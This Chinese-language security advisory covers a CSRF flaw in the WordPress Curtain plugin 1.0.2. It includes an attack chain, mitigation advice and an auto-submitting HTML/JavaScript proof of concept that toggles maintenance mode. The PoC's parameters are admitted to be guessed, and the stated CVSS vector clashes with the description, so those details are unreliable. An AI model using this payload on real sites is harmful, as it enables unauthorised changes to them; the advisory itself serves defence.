CVE-2022-50955 WordPress Plugin Curtain CSRF漏洞

漏洞信息

漏洞编号

CVE-2022-50955

漏洞类型

跨站请求伪造

CVSS评分

4.3 中危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

WordPress Plugin Curtain

漏洞概述

WordPress Plugin Curtain 1.0.2版本存在跨站请求伪造（CSRF）漏洞。该漏洞源于插件在处理维护模式切换请求时未对`options-general.php`页面中的`curtain`参数进行有效的nonce令牌验证。攻击者可利用此漏洞，诱导已认证的管理员访问精心构造的恶意页面。一旦管理员受骗触发请求，攻击者便可在其权限下远程激活或关闭网站的维护模式，从而干扰网站正常运行或为进一步的攻击创造条件。

技术细节

该漏洞属于典型的CSRF漏洞。在WordPress开发规范中，修改敏感配置的操作必须通过Nonce（Number used once）机制来验证请求来源的合法性。在Curtain插件1.0.2版本中，当管理员尝试切换网站维护模式时，插件会向`options-general.php`发送请求。然而，由于代码中缺失了Nonce校验逻辑，服务器无法区分请求是由管理员自愿发起的还是由第三方恶意伪造的。攻击者可以构造包含恶意HTML或JavaScript的网页，该网页在后台自动向目标站点发送带有特定`curtain`参数的POST请求。由于浏览器会自动携带管理员的Session Cookie，服务器会误认为这是管理员本人的合法操作，从而执行状态更改。根据CVSS向量分析，该漏洞需要低权限（PR:L）即可触发，且无需用户交互（UI:N），表明攻击过程一旦启动即可利用管理员会话自动执行。

攻击链分析

STEP 1

侦察阶段

攻击者确认目标网站使用了WordPress Plugin Curtain 1.0.2版本。

STEP 2

构造攻击载荷

攻击者编写包含恶意HTML/JavaScript代码的网页，该代码自动向目标WordPress后台发送伪造的维护模式切换请求。

STEP 3

传递恶意链接

攻击者通过钓鱼邮件或社交媒体诱导拥有管理员权限的用户点击该恶意链接。

STEP 4

执行攻击

受害管理员在登录状态下访问链接，浏览器自动发送带有身份凭证的请求至服务器。

STEP 5

达成效果

服务器因缺少Nonce验证而接受请求，导致网站维护模式被意外激活或关闭。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- PoC for CVE-2022-50955: CSRF to Toggle Maintenance Mode -->
<!-- This code demonstrates how a malicious request can be crafted -->
<html>
  <body>
    <h1>CVE-2022-50955 CSRF PoC</h1>
    <script>
      function exploit() {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http://target-site/wp-admin/options-general.php", true);
        xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
        
        // Payload to activate maintenance mode (parameters inferred from description)
        var params = "curtain_maintenance_status=active&action=update";
        
        xhr.send(params);
        console.log("Request sent to toggle maintenance mode.");
      }
      
      // Trigger automatically on page load
      window.onload = exploit;
    </script>
  </body>
</html>

影响范围

WordPress Plugin Curtain 1.0.2

防御指南

临时缓解措施

建议立即升级插件到修复版本。在升级前，应暂时禁用Curtain插件以防止被利用。管理员应定期检查网站维护模式状态，并避免在登录后台时访问不明来源的网页链接。